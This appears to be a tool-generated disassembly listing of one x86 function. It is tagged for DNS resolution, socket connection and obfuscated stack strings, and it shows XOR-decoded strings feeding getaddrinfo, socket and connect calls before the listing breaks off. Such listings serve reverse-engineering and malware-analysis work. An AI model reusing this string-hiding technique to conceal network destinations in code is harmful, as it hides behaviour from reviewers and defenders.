Function at 0x44fb60
Capabilities:
Connect socket
Contain obfuscated stackstrings
Resolve dns

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5f442d
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x6a8
mov eax, dword [0x679dc8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x61c], edi
mov dword [ebp - 0x610], edi
mov dword [ebp - 0x610], edi
mov dword [ebp - 4], 1
call fcn.004695f0
push eax
call fcn.00469da0
add esp, 4
mov dword [ebp - 0x610], eax
push eax
call fcn.0046b280
mov ecx, eax
add esp, 4
mov dword [ebp - 0x614], ecx
test ecx, ecx
jne 0x44fd88
mov dword [ebp - 0x470], 0x89859be4
lea eax, [ebp - 0x470]
mov dword [ebp - 0x46c], 0x62cc48fd
mov dword [ebp - 0x468], 0x2248a0a3
mov dword [ebp - 0x464], 0xef4e8088
mov dword [ebp - 0x460], 0x26d51550
mov dword [ebp - 0x45c], 0xcfb55f79
mov dword [ebp - 0x458], 0xad6124c8
mov dword [ebp - 0x454], 0x9738a288
mov dword [ebp - 0x4d0], 0xe6f7e9a1
mov dword [ebp - 0x4cc], 0x10af688f
mov dword [ebp - 0x4c8], 0x4b3cc1c6
mov dword [ebp - 0x4c4], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x4d0]
pxor xmm1, xmmword [ebp - 0x470]
movaps xmmword [ebp - 0x470], xmm1
movaps xmm1, xmmword [ebp - 0x460]
mov dword [ebp - 0x4c0], 0x2cfb5903
mov dword [ebp - 0x4bc], 0xcfb55f79
mov dword [ebp - 0x4b8], 0xad6124c8
mov dword [ebp - 0x4b4], 0x9738a288
pxor xmm1, xmmword [ebp - 0x4c0]
push eax
movaps xmmword [ebp - 0x460], xmm1
call fcn.0044b300
add esp, 4
call fcn.0044c3d0
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
mov ecx, dword [ebx + 0x1c]
cmp ecx, 0x10
jb 0x44fd22
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44fd18
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebx + 0x34]
mov byte [ebx + 8], 0
mov dword [ebx + 0x1c], 0xf
mov dword [ebx + 0x18], 0
cmp ecx, 0x10
jb 0x44fd68
mov edx, dword [ebx + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44fd5e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.005c7d0a
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
cmp dword [ebx + 0x1c], 0x10
lea eax, [ebx + 8]
cmovae eax, dword [ebx + 8]
push eax
push 0
push 0x37
push ecx
call fcn.0046a610
add esp, 0x10
mov dword [ebp - 0x6ac], 0
xorps xmm0, xmm0
mov dword [ebp - 0x6a8], 0
lea eax, [ebx + 8]
movlpd qword [ebp - 0x69c], xmm0
lea ecx, [ebp - 0x498]
movlpd qword [ebp - 0x694], xmm0
push eax
mov dword [ebp - 0x6a4], 1
mov dword [ebp - 0x6a0], 6
call fcn.0045ec30
mov byte [ebp - 4], 2
cmp byte [0x6806d8], 0
je 0x44feed
mov dword [ebp - 0x4d0], 0xc8998dc2
lea ecx, [ebp - 0x4d0]
mov dword [ebp - 0x4cc], 0x73dc01eb
lea edx, [ecx + 1]
mov dword [ebp - 0x4c8], 0x2a58b3a9
mov dword [ebp - 0x4c4], 0xdf409796
movaps xmm1, xmmword [ebp - 0x4d0]
mov dword [ebp - 0x5b0], 0xe6f7e9a1
mov dword [ebp - 0x5ac], 0x10af688f
mov dword [ebp - 0x5a8], 0x4b3cc1c6
mov dword [ebp - 0x5a4], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x5b0]
mov dword [ebp - 0x4c0], 0x2cfb346c
mov dword [ebp - 0x4bc], 0xcfb55f79
mov dword [ebp - 0x4b8], 0xad6124c8
mov dword [ebp - 0x4b4], 0x9738a288
movaps xmmword [ebp - 0x4d0], xmm1
movaps xmm1, xmmword [ebp - 0x4c0]
mov dword [ebp - 0x5a0], 0x2cfb5903
mov dword [ebp - 0x59c], 0xcfb55f79
mov dword [ebp - 0x598], 0xad6124c8
mov dword [ebp - 0x594], 0x9738a288
pxor xmm1, xmmword [ebp - 0x5a0]
movaps xmmword [ebp - 0x4c0], xmm1
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44fed1
sub ecx, edx
lea eax, [ebp - 0x4d0]
push ecx
push eax
lea ecx, [ebp - 0x498]
call fcn.0045f7d0
cmp dword [ebp - 0x484], 0x10
lea ecx, [ebp - 0x674]
push ecx
lea ecx, [ebp - 0x6ac]
mov dword [ebp - 0x430], 0xe6c4dd95
push ecx
mov dword [ebp - 0x42c], 0x10af688f
lea ecx, [ebp - 0x430]
mov dword [ebp - 0x428], 0x4b3cc1c6
lea eax, [ebp - 0x498]
cmovae eax, dword [ebp - 0x498]
mov dword [ebp - 0x424], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x430]
push ecx
mov dword [ebp - 0x630], 0xe6f7e9a1
mov dword [ebp - 0x62c], 0x10af688f
mov dword [ebp - 0x628], 0x4b3cc1c6
mov dword [ebp - 0x624], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x630]
push eax
movaps xmmword [ebp - 0x430], xmm1
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
je 0x45014b
mov dword [ebp - 0x480], 0x818588f5
lea eax, [ebp - 0x480]
mov dword [ebp - 0x47c], 0x788f1cea
mov dword [ebp - 0x478], 0x6b48b2a9
mov dword [ebp - 0x474], 0xd01b8885
mov dword [ebp - 0x470], 0x43957967
mov dword [ebp - 0x46c], 0xaad77f0d
mov dword [ebp - 0x468], 0xc20e48e8
mov dword [ebp - 0x464], 0xb75cc7e3
mov dword [ebp - 0x460], 0xac1d21c0
mov dword [ebp - 0x45c], 0x453e7873
mov dword [ebp - 0x458], 0x2e3c550a
mov dword [ebp - 0x454], 0x6b38d9fa
movaps xmm1, xmmword [ebp - 0x480]
mov dword [ebp - 0x4e0], 0xe6f7e9a1
mov dword [ebp - 0x4dc], 0x10af688f
mov dword [ebp - 0x4d8], 0x4b3cc1c6
mov dword [ebp - 0x4d4], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x4e0]
movaps xmmword [ebp - 0x480], xmm1
movaps xmm1, xmmword [ebp - 0x470]
mov dword [ebp - 0x4d0], 0x2cfb5903
mov dword [ebp - 0x4cc], 0xcfb55f79
mov dword [ebp - 0x4c8], 0xad6124c8
mov dword [ebp - 0x4c4], 0x9738a288
pxor xmm1, xmmword [ebp - 0x4d0]
movaps xmmword [ebp - 0x470], xmm1
movaps xmm1, xmmword [ebp - 0x460]
mov dword [ebp - 0x4c0], 0xac1d51b5
mov dword [ebp - 0x4bc], 0x453e7873
mov dword [ebp - 0x4b8], 0x2e3c550a
mov dword [ebp - 0x4b4], 0x6b38d9fa
pxor xmm1, xmmword [ebp - 0x4c0]
push eax
movaps xmmword [ebp - 0x460], xmm1
call fcn.0044b300
mov ecx, dword [ebp - 0x484]
xorps xmm0, xmm0
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
add esp, 4
mov dword [edi + 0x14], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0xf
mov byte [edi], 0
cmp ecx, 0x10
jb 0x45012b
mov edx, dword [ebp - 0x498]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x450121
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 0xf
mov byte [ebp - 0x498], 0
jmp 0x44fcee
push 0x400
lea eax, [ebp - 0x418]
push 0
push eax
call fcn.005c9aa0
xorps xmm0, xmm0
mov dword [ebp - 0x438], 0
movups xmmword [ebp - 0x448], xmm0
add esp, 0xc
mov dword [ebp - 0x434], 0xf
mov byte [ebp - 0x448], 0
mov byte [ebp - 4], 3
mov dword [ebp - 0x520], 0x95a2e3ac
mov dword [ebp - 0x51c], 0x51821aea
mov dword [ebp - 0x518], 0x3f52a4a1
mov dword [ebp - 0x514], 0xd218c7dc
movaps xmm1, xmmword [ebp - 0x520]
mov dword [ebp - 0x670], 0xe6f7e9a1
mov dword [ebp - 0x66c], 0x10af688f
mov dword [ebp - 0x668], 0x4b3cc1c6
mov dword [ebp - 0x664], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x670]
movaps xmmword [ebp - 0x520], xmm1
mov dword [ebp - 0x510], 0x4883386b
mov dword [ebp - 0x50c], 0xa3db2816
mov dword [ebp - 0x508], 0xc80545a7
mov dword [ebp - 0x504], 0x9a0ad4fa
movaps xmm1, xmmword [ebp - 0x510]
mov dword [ebp - 0x660], 0x2cfb5903
mov dword [ebp - 0x65c], 0xcfb55f79
mov dword [ebp - 0x658], 0xad6124c8
mov dword [ebp - 0x654], 0x9738a288
pxor xmm1, xmmword [ebp - 0x660]
movaps xmmword [ebp - 0x510], xmm1
mov dword [ebp - 0x650], 0xac1d51b5
mov dword [ebp - 0x64c], 0x453e7873
mov dword [ebp - 0x648], 0x2e3c550a
mov dword [ebp - 0x644], 0x6b38d9fa
mov dword [ebp - 0x500], 0xc27212bf
mov dword [ebp - 0x4fc], 0x315d1d1d
mov dword [ebp - 0x4f8], 0x14523a63
mov dword [ebp - 0x4f4], 0x454bada
movaps xmm1, xmmword [ebp - 0x500]
pxor xmm1, xmmword [ebp - 0x650]
movaps xmmword [ebp - 0x500], xmm1
mov dword [ebp - 0x640], 0x1cc09737
mov dword [ebp - 0x63c], 0xb67588d
mov dword [ebp - 0x638], 0x832f924c
mov dword [ebp - 0x634], 0x7cc820ac
mov dword [ebp - 0x4f0], 0x16cdf244
mov dword [ebp - 0x4ec], 0xb675280
mov dword [ebp - 0x4e8], 0x832f924c
mov dword [ebp - 0x4e4], 0x7cc820ac
movaps xmm1, xmmword [ebp - 0x4f0]
pxor xmm1, xmmword [ebp - 0x640]
movaps xmmword [ebp - 0x4f0], xmm1
mov dword [ebp - 0x550], 0xb2a3a181
mov dword [ebp - 0x54c], 0x3e9e47df
mov dword [ebp - 0x548], 0x336ccf7
mov dword [ebp - 0x544], 0x861a9489
movaps xmm1, xmmword [ebp - 0x550]
mov dword [ebp - 0x650], 0xe6f7e9a1
mov dword [ebp - 0x64c], 0x10af688f
mov dword [ebp - 0x648], 0x4b3cc1c6
mov dword [ebp - 0x644], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x650]
mov dword [ebp - 0x540], 0x2cfb5923
mov dword [ebp - 0x53c], 0xcfb55f79
mov dword [ebp - 0x538], 0xad6124c8
mov dword [ebp - 0x534], 0x9738a288
movaps xmmword [ebp - 0x550], xmm1
movaps xmm1, xmmword [ebp - 0x540]
mov dword [ebp - 0x640], 0x2cfb5903
mov dword [ebp - 0x63c], 0xcfb55f79
mov dword [ebp - 0x638], 0xad6124c8
mov dword [ebp - 0x634], 0x9738a288
pxor xmm1, xmmword [ebp - 0x640]
movaps xmmword [ebp - 0x540], xmm1
mov dword [ebp - 0x630], 0xe6f7e9a1
mov dword [ebp - 0x62c], 0x10af688f
mov dword [ebp - 0x430], 0xc6a3ace6
lea eax, [ebx + 0x20]
mov dword [ebp - 0x42c], 0x10af688f
lea edx, [ebp - 0x430]
mov dword [ebp - 0x428], 0x4b3cc1c6
lea ecx, [ebp - 0x4c8]
mov dword [ebp - 0x424], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x430]
mov dword [ebp - 0x628], 0x4b3cc1c6
mov dword [ebp - 0x624], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x630]
push eax
movaps xmmword [ebp - 0x430], xmm1
call fcn.00460f20
add esp, 4
lea ecx, [ebp - 0x550]
mov byte [ebp - 4], 4
push ecx
mov ecx, eax
call fcn.0045e9b0
mov dword [ebp - 0x578], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x588], xmm0
mov dword [ebp - 0x574], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x588], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x578], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 5
lea esi, [ebx + 8]
cmp dword [ebx + 0x1c], 0x10
mov edx, dword [ebp - 0x578]
cmovae esi, dword [ebx + 8]
mov eax, dword [ebp - 0x574]
mov ecx, dword [ebx + 0x18]
sub eax, edx
mov dword [ebp - 0x608], ecx
mov dword [ebp - 0x604], esi
mov dword [ebp - 0x60c], edx
push ecx
cmp ecx, eax
ja 0x450544
cmp dword [ebp - 0x574], 0x10
lea esi, [ebp - 0x588]
push dword [ebp - 0x604]
cmovae esi, dword [ebp - 0x588]
lea eax, [edx + ecx]
mov dword [ebp - 0x578], eax
lea eax, [esi + edx]
push eax
call fcn.005c9520
mov eax, dword [ebp - 0x608]
add esp, 0xc
mov ecx, dword [ebp - 0x60c]
add eax, esi
mov byte [eax + ecx], 0
lea eax, [ebp - 0x588]
jmp 0x45055e
push esi
mov byte [ebp - 0x60c], 0
push dword [ebp - 0x60c]
push ecx
lea ecx, [ebp - 0x588]
call fcn.00461c10
mov dword [ebp - 0x598], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x5a8], xmm0
mov dword [ebp - 0x594], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x5a8], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x598], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0x520]
mov byte [ebp - 4], 6
push eax
lea ecx, [ebp - 0x5a8]
call fcn.0045e9b0
mov dword [ebp - 0x4a0], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x4b0], xmm0
mov dword [ebp - 0x49c], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x4b0], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x4a0], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x594]
cmp ecx, 0x10
jb 0x45063e
mov edx, dword [ebp - 0x5a8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x450634
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d36
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov dword [ebp - 0x598], 0
mov dword [ebp - 0x594], 0xf
mov byte [ebp - 0x5a8], 0
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x574]
cmp ecx, 0x10
jb 0x450697
mov edx, dword [ebp - 0x588]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45068d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d36
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov dword [ebp - 0x578], 0
mov dword [ebp - 0x574], 0xf
mov byte [ebp - 0x588], 0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x4b4]
cmp ecx, 0x10
jb 0x4506f0
mov edx, dword [ebp - 0x4c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4506e6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d36
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov esi, dword [ebp - 0x674]
mov dword [ebp - 0x4b8], 0
mov dword [ebp - 0x4b4], 0xf
mov byte [ebp - 0x4c8], 0
test esi, esi
je 0x450a97
nop dword [eax]
mov eax, dword [esi + 4]
cmp eax, 0x17
je 0x450a8c
push dword [esi + 0xc]
push dword [esi + 8]
push eax
call dword [sym.imp.WS2_32.dll_socket]
mov dword [ebp - 0x604], eax
cmp eax, 0xffffffff
je 0x451a69
push dword [esi + 0x10]
push dword [esi + 0x18]
push eax
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x450ec1
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x274c
jne 0x450777
mov byte [0x67a848], 1
jmp 0x4508ba
mov dword [ebp - 0x630], 0xa7a3a8e7
lea eax, [ebp - 0x540]
mov dword [ebp - 0x62c], 0x42ea48c3
mov dword [ebp - 0x628], 0x716e8e94
mov dword [ebp - 0x624], 0xbc6ee7c6
movups xmm1, xmmword [ebp - 0x630]
mov dword [ebp - 0x430], 0xe6f7e9a1
mov dword [ebp - 0x42c], 0x10af688f
movaps xmmword [ebp - 0x540], xmm1
mov dword [ebp - 0x428], 0x4b3cc1c6
mov dword [ebp - 0x424], 0xbc6ee7e6
movaps xmm0, xmmword [ebp - 0x430]
pxor xmm0, xmm1
push eax
movaps xmmword [ebp - 0x540], xmm0
call fcn.0044b300
add esp, 4
mov dword [ebp - 0x608], 0
lea eax, [ebp - 0x608]
push 0
push 0
push eax
push 0x400
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
push eax
push 0
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push dword [ebp - 0x608]
mov dword [ebp - 0x688], 0x889ea5fa
lea eax, [ebp - 0x540]
mov dword [ebp - 0x684], 0x748a48ea
mov dword [ebp - 0x680], 0x3819e19b
mov dword [ebp - 0x67c], 0xbc6ee7e6
movups xmm1, xmmword [ebp - 0x688]
mov dword [ebp - 0x640], 0xe6f7e9a1
mov dword [ebp - 0x63c], 0x10af688f
movaps xmmword [ebp - 0x540], xmm1
mov dword [ebp - 0x638], 0x4b3cc1c6
mov dword [ebp - 0x634], 0xbc6ee7e6
movaps xmm0, xmmword [ebp - 0x640]
pxor xmm0, xmm1
push 0x293
push eax
movaps xmmword [ebp - 0x540], xmm0
call fcn.0044b300
add esp, 0xc
push dword [ebp - 0x608]
call dword [sym.imp.KERNEL32.dll_LocalFree]
push dword [ebp - 0x604]
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebp - 0x520], 0x819988e5
lea eax, [ebp - 0x5f0]
mov dword [ebp - 0x51c], 0x65c71caf
mov dword [ebp - 0x518], 0x3f59aae6
mov dword [ebp - 0x514], 0xd50189c6
movups xmm1, xmmword [ebp - 0x520]
mov dword [ebp - 0x510], 0x45942d23
mov dword [ebp - 0x50c], 0xbbda3259
mov dword [ebp - 0x508], 0xcc0840e8
mov dword [ebp - 0x504], 0xfe50c1a8
movups xmm2, xmmword [ebp - 0x510]
mov dword [ebp - 0x500], 0xcd753a95
mov dword [ebp - 0x4fc], 0x331e5410
mov dword [ebp - 0x4f8], 0x421c3c7f
mov dword [ebp - 0x4f4], 0x4b5fb795
movups xmm3, xmmword [ebp - 0x500]
mov dword [ebp - 0x4f0], 0x32afff54
mov dword [ebp - 0x4ec], 0xb6d76a3
mov dword [ebp - 0x4e8], 0x832f924c
mov dword [ebp - 0x4e4], 0x7cc820ac
movups xmm4, xmmword [ebp - 0x4f0]
mov dword [ebp - 0x570], 0xe6f7e9a1
movaps xmmword [ebp - 0x5e0], xmm2
movaps xmmword [ebp - 0x5d0], xmm3
movaps xmmword [ebp - 0x5c0], xmm4
movaps xmmword [ebp - 0x5f0], xmm1
mov dword [ebp - 0x56c], 0x10af688f
mov dword [ebp - 0x568], 0x4b3cc1c6
mov dword [ebp - 0x564], 0xbc6ee7e6
movaps xmm0, xmmword [ebp - 0x570]
mov dword [ebp - 0x560], 0x2cfb5903
pxor xmm0, xmm1
mov dword [ebp - 0x55c], 0xcfb55f79
mov dword [ebp - 0x558], 0xad6124c8
mov dword [ebp - 0x554], 0x9738a288
pxor xmm2, xmmword [ebp - 0x560]
mov dword [ebp - 0x550], 0xac1d51b5
mov dword [ebp - 0x54c], 0x453e7873
mov dword [ebp - 0x548], 0x2e3c550a
mov dword [ebp - 0x544], 0x6b38d9fa
pxor xmm3, xmmword [ebp - 0x550]
mov dword [ebp - 0x540], 0x1cc09737
mov dword [ebp - 0x53c], 0xb67588d
mov dword [ebp - 0x538], 0x832f924c
mov dword [ebp - 0x534], 0x7cc820ac
pxor xmm4, xmmword [ebp - 0x540]
push eax
movaps xmmword [ebp - 0x5f0], xmm0
movaps xmmword [ebp - 0x5e0], xmm2
movaps xmmword [ebp - 0x5d0], xmm3
movaps xmmword [ebp - 0x5c0], xmm4
call fcn.0044b300
add esp, 4
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x450720
mov dword [ebp - 0x600], 0x889881ea
lea eax, [ebp - 0x600]
mov dword [ebp - 0x5fc], 0x78db48e8
mov dword [ebp - 0x5f8], 0x2e57e1a3
mov dword [ebp - 0x5f4], 0xd300c792
mov dword [ebp - 0x5f0], 0x438f796a
mov dword [ebp - 0x5ec], 0xaac67f10
mov dword [ebp - 0x5e8], 0xdf0452ba
mov dword [ebp - 0x5e4], 0xe24e82a4
mov dword [ebp - 0x5e0], 0xc37171dc
mov dword [ebp - 0x5dc], 0x2e1e1f1d
mov dword [ebp - 0x5d8], 0xe513063
mov dword [ebp - 0x5d4], 0x4b59ab8e
mov dword [ebp - 0x5d0], 0x3ca9f65b
mov dword [ebp - 0x5cc], 0x2b133de6
mov dword [ebp - 0x5c8], 0xa346fd22
mov dword [ebp - 0x5c4], 0x1ba641c1
mov dword [ebp - 0x5c0], 0x78a79d27
mov dword [ebp - 0x5bc], 0x85c152f7
mov dword [ebp - 0x5b8], 0xd9593c4e
mov dword [ebp - 0x5b4], 0xa7fec7ae
mov dword [ebp - 0x530], 0xe6f7e9a1
mov dword [ebp - 0x52c], 0x10af688f
mov dword [ebp - 0x528], 0x4b3cc1c6
mov dword [ebp - 0x524], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x530]
pxor xmm1, xmmword [ebp - 0x600]
movaps xmmword [ebp - 0x600], xmm1
movaps xmm1, xmmword [ebp - 0x5f0]
mov dword [ebp - 0x520], 0x2cfb5903
mov dword [ebp - 0x51c], 0xcfb55f79
mov dword [ebp - 0x518], 0xad6124c8
mov dword [ebp - 0x514], 0x9738a288
pxor xmm1, xmmword [ebp - 0x520]
movaps xmmword [ebp - 0x5f0], xmm1
movaps xmm1, xmmword [ebp - 0x5e0]
mov dword [ebp - 0x510], 0xac1d51b5
mov dword [ebp - 0x50c], 0x453e7873
mov dword [ebp - 0x508], 0x2e3c550a
mov dword [ebp - 0x504], 0x6b38d9fa
pxor xmm1, xmmword [ebp - 0x510]
movaps xmmword [ebp - 0x5e0], xmm1
movaps xmm1, xmmword [ebp - 0x5d0]
mov dword [ebp - 0x500], 0x1cc09737
mov dword [ebp - 0x4fc], 0xb67588d
mov dword [ebp - 0x4f8], 0x832f924c
mov dword [ebp - 0x4f4], 0x7cc820ac
pxor xmm1, xmmword [ebp - 0x500]
movaps xmmword [ebp - 0x5d0], xmm1
movaps xmm1, xmmword [ebp - 0x5c0]
mov dword [ebp - 0x4f0], 0x78a79709
mov dword [ebp - 0x4ec], 0x85c152f7
mov dword [ebp - 0x4e8], 0xd9593c4e
mov dword [ebp - 0x4e4], 0xa7fec7ae
pxor xmm1, xmmword [ebp - 0x4f0]
push eax
movaps xmmword [ebp - 0x5c0], xmm1
call fcn.0044b300
mov dword [ebp - 0x430], 0xb5a2a8f1
lea eax, [ebp - 0x430]
mov dword [ebp - 0x42c], 0x10af68ca
add esp, 4
mov dword [ebp - 0x428], 0x4b3cc1c6
mov dword [ebp - 0x424], 0xbc6ee7e6
mov dword [ebp - 0x640], 0xe6f7e9a1
mov dword [ebp - 0x63c], 0x10af688f
mov dword [ebp - 0x638], 0x4b3cc1c6
mov dword [ebp - 0x634], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x640]
pxor xmm1, xmmword [ebp - 0x430]
push eax
movaps xmmword [ebp - 0x430], xmm1
call fcn.005d6a9d
add esp, 4
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [edi], xmm0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x450d32
sub ecx, edx
push ecx
push 0
mov ecx, edi
call fcn.00461730
mov ecx, dword [ebp - 0x49c]
cmp ecx, 0x10
jb 0x450d7f
mov edx, dword [ebp - 0x4b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x450d75
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebp - 0x434]
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x49c], 0xf
mov byte [ebp - 0x4b0], 0
cmp ecx, 0x10
jb 0x450dd4
mov edx, dword [ebp - 0x448]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x450dca
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebp - 0x484]
mov dword [ebp - 0x438], 0
mov dword [ebp - 0x434], 0xf
mov byte [ebp - 0x448], 0
cmp ecx, 0x10
jb 0x450e29
mov edx, dword [ebp - 0x498]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x450e1f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebx + 0x1c]
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 0xf
mov byte [ebp - 0x498], 0
cmp ecx, 0x10
jb 0x450e78
mov edx, dword [ebx + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x450e6e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
push ecx
push edx
call fcn.005c7d18
add esp, 8
mov ecx, dword [ebx + 0x34]
mov dword [ebx + 0x18], 0
mov dword [ebx + 0x1c], 0xf
mov byte [ebx + 8], 0
cmp ecx, 0x10
jb 0x44fd68
mov edx, dword [ebx + 0x20]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44fd5e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x451d3b
jmp 0x44fd5e
mov esi, dword [ebp - 0x614]
push esi
call fcn.0046b100
add esp, 4
push dword [ebp - 0x604]
push esi
call fcn.0046baf0
push esi
call fcn.0046a5d0
add esp, 0xc
mov dword [ebp - 0x60c], eax
test eax, eax
jg 0x4511f8
mov dword [ebp - 0x470], 0xb9bbbaf2
mov dword [ebp - 0x46c], 0x7ec107ec
mov dword [ebp - 0x468], 0x6b48a2a3
mov dword [ebp - 0x464], 0xd31c9583
mov dword [ebp - 0x460], 0x9db6371
mov dword [ebp - 0x45c], 0xcfb5551d
mov dword [ebp - 0x458], 0xad6124c8
mov dword [ebp - 0x454], 0x9738a288
movaps xmm1, xmmword [ebp - 0x470]
mov dword [ebp - 0x4d0], 0xe6f7e9a1
mov dword [ebp - 0x4cc], 0x10af688f
mov dword [ebp - 0x4c8], 0x4b3cc1c6
mov dword [ebp - 0x4c4], 0xbc6ee7e6
pxor xmm1, xmmword [ebp - 0x4d0]
movaps xmmword [ebp - 0x470], xmm1
movaps xmm1, xmmword [ebp - 0x460]
push eax
lea eax, [ebp - 0x470]
mov dword [ebp - 0x4c0], 0x2cfb5903
mov dword [ebp - 0x4bc], 0xcfb55f79
mov dword [ebp - 0x4b8], 0xad6124c8
mov dword [ebp - 0x4b4], 0x9738a288
pxor xmm1, xmmword [ebp - 0x4c0]
push eax
movaps xmmword [ebp - 0x460], xmm1
call fcn.0044b300
add esp, 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 0x60c]
mov ecx, dword [ebp - 0x614]
mov esi, eax
push ecx
call fcn.0046afb0
mov dword [ebp - 0x470], 0x89859be4
mov dword [ebp - 0x46c], 0x7fcc48fd
mov dword [ebp - 0x468], 0x6b06a4a2
mov dword [ebp - 0x464], 0x9c4283c3
mov dword [ebp - 0x460], 0x2cf13d26
mov dword [ebp - 0x45c], 0xcfb55f79
mov dword [ebp - 0x458], 0xad6124c8
mov dword [ebp - 0x454], 0x9738a288
mov dword [ebp - 0x4d0], 0xe6f7e9a1
mov dword [ebp - 0x4cc], 0x10af688f
mov dword [ebp - 0x4c8], 0x4b3cc1c6
mov dword [ebp - 0x4c4], 0xbc6ee7e6
movaps xmm1, xmmword [ebp - 0x4d0]
